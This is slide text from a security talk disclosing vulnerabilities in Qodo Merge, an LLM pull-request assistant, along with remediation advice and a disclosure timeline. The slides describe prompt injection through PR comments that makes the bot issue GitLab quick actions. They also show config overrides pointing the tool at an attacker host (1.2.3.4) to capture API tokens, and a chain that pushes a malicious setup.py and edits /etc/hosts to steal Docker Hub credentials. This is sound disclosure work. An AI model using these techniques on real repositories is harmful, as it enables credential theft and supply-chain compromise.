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Who am I?

● Nils Amiet
○ Security researcher
○ AI Application Security Testing
○ Open Source and Linux enthusiast
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In this talk

● Story of an open source tool
● How we can exploit it to get:

○ Gitlab privilege escalation through Quick actions
○ Multiple access token leaks
○ Write access to public Github repositories
○ Leak Github repository secrets

● Solutions
● Vendor response
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Everyone is talking about AI

● Developers are no exception
● Hear about a cool new tool that uses AI
● Likely to start using it with their open source project
● If said tool has vulnerabilities

○ Consequences can be catastrophic
● Everyone wants to use AI

○ Security may be overlooked
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● Open source tool
○ Developed by Qodo (previously CodiumAI)

● Can help review and handle git pull requests using LLMs
● Supports

○ GitHub
○ GitLab
○ Bitbucket

● Getting adopted by more and more open source projects
○ Including popular ones
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Qodo Merge (formerly PR-Agent)



How to use Qodo Merge? (Example: Github)

●
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How to use Qodo Merge? (Example: Github)

●
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How to use Qodo Merge?

● Qodo Merge interprets PR comments that contain commands
● Commands start with a slash
● Example supported commands:

○ /ask <Your question here>
○ /improve
○ /describe
○ /review
○ /update_changelog
○ and more
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How to install/run Qodo Merge?

● Multiple options to run:
○ Github Action, Github App
○ Gitlab CI/CD pipeline, Gitlab Webhook server
○ Locally
○ etc.

● Setup configuration and secrets
○ Gitlab/Github access tokens
○ LLM API key (OpenAI, etc.)
○ and more
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How does Qodo Merge work?
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●
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How is the prompt built?

● There are 2 parts

○ System prompt

○ User prompt

● Let’s see how these are constructed
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System prompt

“You are PR-Reviewer, a language model designed to answer questions about a 
Git Pull Request (PR).

Your goal is to answer questions\tasks about the new code introduced in the PR 
(lines starting with '+' in the 'PR Git Diff' section), and provide feedback.

Be informative, constructive, and give examples. Try to be as specific as 
possible.

Don't avoid answering the questions. You must answer the questions, as best as 
you can, without adding any unrelated content.”
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● Just static text
● Let’s have a look at the user prompt instead



User prompt

PR Info:

Title: '{{title}}'

Branch: '{{branch}}'
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The PR Git Diff:

======

{{ diff|trim }}

======

Note that lines in the diff body are prefixed 
with a symbol that represents the type of 
change: '-' for deletions, '+' for additions, 
and ' ' (a space) for unchanged lines

The PR Questions:

======

{{ questions|trim }}

======

Response to the PR Questions:



User prompt

PR Info:

Title: 'README: Add usage section'

Branch: 'readme'
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The PR Git Diff:

======

## README.md <snipped for lack of space>

======

Note that lines in the diff body are prefixed 
with a symbol that represents the type of 
change: '-' for deletions, '+' for additions, 
and ' ' (a space) for unchanged lines

The PR Questions:

======

what is this about?

======

Response to the PR Questions:



Building the prompt

● User input directly inserted into user prompt
○ We have direct control over the prompt

● What could go wrong?
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Prompt injection

●
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Nothing serious so far… right?
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Gitlab quick actions
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Gitlab quick actions
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Gitlab quick actions
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Notable quick actions (merge requests)

● /approve
● /assign @user1 @user2
● /close
● /estimate <time>
● /label ~label1 ~label2
● /lock
● /merge
● /rebase
● /spend <time>
● /submit_review
● /target_branch <local branch name>
● /title <new title>
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Gitlab quick action privilege escalation

●
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/approve vs /merge

●
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/approve vs /merge

● /approve
○ Approve merge request
○ Does NOT merge, just gives approval
○ Some projects require at least N approvals before merging

● /merge
○ Merge the MR onto target branch
○ Gitlab REST API requires an extra argument to trigger this quick action

■ Git commit hash
○ We only control the comment
○ Can’t add/modify other arguments through Qodo Merge
○ => not working :(
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Impacts (Gitlab merge request)

● Merge
○ Not working

● Approve
● Change title
● Close
● Change target branch
● Rebase latest target branch commit onto source branch
● Lock discussion (cannot comment anymore)
● Assign users
● others…
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Looking for more 
vulnerabilities
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Qodo Merge config options

● Qodo Merge builds a config object
● Reads config from:

○ Local files
■ configuration.toml
■ .secrets.toml
■ .pr_agent.toml in root of git repository

○ Environment variables
○ etc.
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Configuration example

[gitlab]
url="https://gitlab.com"
personal_access_token = "secret_pat_goes_here"
 
[github]
base_url = "https://api.github.com"
 
[openai]
key = "secret_openai_key_goes_here"
# Uncomment the following for Azure OpenAI
api_type = "azure"
api_version = '2024-02-01'
api_base = "foobar.openai.azure.com"
deployment_id = "gpt4"
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Playing with Qodo Merge
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Overwriting config options through comments

● /some_command --some.key=value
○ Does /some_command
○ But also sets

■ some.key=value in config object

● Same as the following in config file:

[some]
key=value

31



Qodo Merge allows overwriting config options

● Works with ANY configuration option
● Including critical ones

○ github.base_url
○ gitlab.url
○ openai.api_base
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Leaking API keys and tokens

● Overwrite config entry to make Qodo Merge authenticate to a malicious server we control
● Github API key:

○ Instead of connecting to https://api.github.com
○ Connect to http://1.2.3.4  <- some server the attacker controls
○ Collect the Github API token on the server at 1.2.3.4

● Same for OpenAI API key
○ https://api.openai.com
○ => http://1.2.3.4

● And for Gitlab personal access token
○ https://gitlab.com
○ => http://1.2.3.4
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https://api.github.com
http://1.2.3.4
https://api.openai.com
http://1.2.3.4
https://gitlab.com
http://1.2.3.4


Leaking API keys and tokens (example: Gitlab)
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Leaking API keys and tokens (example: Gitlab)

$ sudo tcpdump port 80 -A -s 0

...

3W.....[GET /api/v4/projects/amiet%2Ftest-project HTTP/1.1

Host: 1.2.3.4:80

User-Agent: python-gitlab/3.15.0

Accept-Encoding: gzip, deflate

Accept: */*

Connection: keep-alive

Authorization: Bearer ssiCHTtjxAFMW-sFyry6

Content-type: application/json
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Leaked Gitlab personal access token

Same technique works for leaking 
Github token, Github app JWT, OpenAI 
API key, etc.



Leaking API keys and tokens - Impacts

● OpenAI API key
○ Free access to OpenAI API?

● Gitlab personal access token
○ Personal access token on Gitlab
○ Depends on permissions of that token

● Github API key (using Github actions):
○ Ephemeral GITHUB_TOKEN
○ Let’s see how to use this in more detail
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Github Actions
&

GITHUB_TOKEN
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Qodo Merge official documentation

○
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GITHUB_TOKEN

● A Github API token
○ Automatically generated at start of Github action
○ Expires as soon as the Github action ends
○ Or expires after 24 hours at the latest
○ Comes with associated permissions

https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-tok
en-authentication
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https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication
https://docs.github.com/en/actions/security-for-github-actions/security-guides/automatic-token-authentication


Using GITHUB_TOKEN while it’s hot
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Waits for 
response

GH Action 
still running, 
Token still 
valid



Qodo Merge official docs: permissions

○
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Contents: write - Impacts

● Contents: write
○ Write access to git repository (!)

■ Push git commits, tags, etc.
■ Exception: cannot write to “.github/workflows” directory

● “workflow:write” required for that
○ Update/delete Github releases

■ Change release downloadable files (e.g. replace with malware)
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What happens if you don’t specify permissions?

○
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It may actually make it worse!

○
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Default permissions for
GITHUB_TOKEN

● Permissive setting (write)
○ Default for all repositories created 

before ~2023*
● Restricted setting (read-only)

○ New default for all repositories 
created in ~2023 or later

● *Exact date unknown
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>=2023



Default GITHUB_TOKEN permissions

○
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Moving laterally to leak 
Github secrets
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Ways to trigger Github Actions

● Using Github Actions for Qodo Merge
○ Likely using Github Actions for other things too

● “contents:write” is not enough
● Other ways to trigger Github actions

○ “workflow” scope => the holy grail, not likely
■ Lets you edit “.github/workflows” folder

○ “actions:write” and send “workflow_dispatch” event
■ Example: Default permissive permissions

○ Cron-based Github actions
■ Example: Automated new release every week
■ Triggers automatically, no need for actions:write
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Use-case: laos (contents:write/actions:write)
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Exploitation

● Write PR comment
○ with “--github.base_url=http://1.2.3.4”

● On 1.2.3.4
○ Capture HTTPS traffic with mitmdump
○ Run HTTP server, on request received:

■ Extract GITHUB_TOKEN
■ Use it to push git commit that overwrites *setup.py, so that it:

● Installs X.509 certificate of 1.2.3.4 server in /usr/local/share/ca-certificates
● Edits /etc/hosts to make docker.io resolve to 1.2.3.4

■ Send workflow_dispatch event to start 2nd Github Action
○ Wait for docker login to connect to https://1.2.3.4 

instead of https://docker.io
○ Collect Docker Hub credentials :-)

● Many build tools support “code exec at build time”
○ *Cargo build.rs, etc. 
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# /etc/hosts
1.2.3.4 registry-1.docker.io 
1.2.3.4 auth.docker.io
1.2.3.4 registry.docker.io

PoC works on Qodo Merge versions:
● v0.11, v0.12
● v0.2, v0.21, v0.22, v0.23
● v0.25
● git main branch

http://1.2.3.4
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1st GH action

2nd GH action



Affected Github repositories (just a sample)

● TykTechnologies/tyk (10k stars)
● nhost/nhost (8k stars) + nhost/*
● autowarefoundation/autoware.universe (open-source autonomous driving)
● aurelio-labs/semantic-router (2.1k stars)
● OpenMS/OpenMS C++ library
● CDCGov/trusted-intermediary (US gov official repo)
● cloudwalk/stratus blockchain
● freeverseio/laos blockchain
● and many more
● and to a lesser extent: projects using Github App, Gitlab, etc.

○ AutoGPT (170k stars)
○ …

● More and more projects are adopting Qodo Merge
○ Copy and pasting from the official docs
○ Enlarging the list above
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Remediation
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Gitlab quick action privilege escalation

● Developer fix
○ Don’t write comment if it contains a Gitlab quick action

● User fix
○ Give minimal permissions to Qodo Merge Gitlab personal access token
○ Use an LLM guardrail proxy server

■ Block responses containing Gitlab quick actions
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Write to Github repositories

● Developer fix
○ Do not allow overwriting critical config options through PR comments

● User fix
○ Do not give contents:write permission
○ Set Github actions default permissions to restricted
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Fun fact: Incorrect version pinning
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Old:

New:

Does not 
work

Always 
uses latest 
version



Disclosure timeline

● Jul 15, 2024
○ Contact CodiumAI via contact us page, Discord, email
○ No fix

● Aug 29, 2024
○ Blog post published

● Sep 30, 2024
○ Name change

■ CodiumAI => Qodo
■ PR-Agent -> Qodo Merge

● Nov 2024
○ CVE-51355 and CVE-51356 assigned

● Dec 15, 2024
○ Contact multiple affected Github repositories

● Dec 29, 2024
○ 38C3, still not fixed
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Conclusions
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Takeaways

● Don’t use the latest AI tool because it’s cool
● Adding a new cool tool can lead to catastrophic consequences
● Official docs can contain bad advice
● Make sure to check

○ Github Actions default permissions
○ Permissions given to workflow
○ Gitlab permissions

● You should have a way for security people to contact you
○ Not only Qodo, but also affected Github projects

● Changing your product and company’s name is not a valid patching strategy
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Thank you

● Details and PoC in the blog post
■ https://research.kudelskisecurity.com/2024/08/29/careful-where-you-code-multipl

e-vulnerabilities-in-ai-powered-pr-agent/
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